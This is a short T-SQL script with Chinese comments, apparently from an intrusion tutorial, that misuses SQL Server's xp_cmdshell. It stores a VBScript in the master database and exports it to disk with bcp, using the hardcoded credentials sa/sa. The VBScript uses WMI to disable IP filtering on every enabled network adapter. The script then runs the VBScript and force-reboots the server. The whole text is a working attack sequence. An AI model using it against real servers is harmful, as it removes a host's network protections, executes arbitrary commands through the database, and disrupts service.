use master
--创建一个临时用的表
create table dbo.ctest (txt varchar(4000))
--将VBS的内容写入刚才的表中
insert into ctest (txt) values('On Error Resume Next
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colNicConfig = objWMIService.ExecQuery ("Select * From Win32_NetworkAdapterConfiguration Where IPEnabled = True")
For Each objNicConfig in colNicConfig
If objNicConfig.IPFilterSecurityEnabled Then
intDisableReturn = objNicConfig.DisableIPSec
If intDisableReturn = 0 Then
''WScript.Echo "ip过滤已禁用."
ElseIf intDisableReturn = 1 Then
''WScript.Echo "ip过滤已禁用." & VbCrLf & " 必须重新启动使更改生效."
Else
''WScript.Echo "无法禁用ip过滤"
End If
Else
''WScript.Echo "ip过滤已经是禁用的."
End If
Next ')
--查看是否正确写入
declare @txt varchar(4000)
select @txt=txt from ctest
print @txt
--将VBS脚本的内容从数据库中读出并写入服务器硬盘
--此处注意bcp命令,需要指名数据库服务器名,登录名,密码
EXEC master..xp_cmdshell 'bcp "select top 1 txt from master.dbo.ctest " queryout c:\ctxt.vbs -c -S(local) -Usa -Psa'
--让我们看一下VBS的内容是否正确写入
xp_cmdshell 'type c:\ctxt.vbs'
--检查无误,那么执行这个VBS脚本吧
xp_cmdshell 'c:\ctxt.vbs'
--执行完毕,重启服务器吧
xp_cmdshell 'shutdown -r -f -t 10'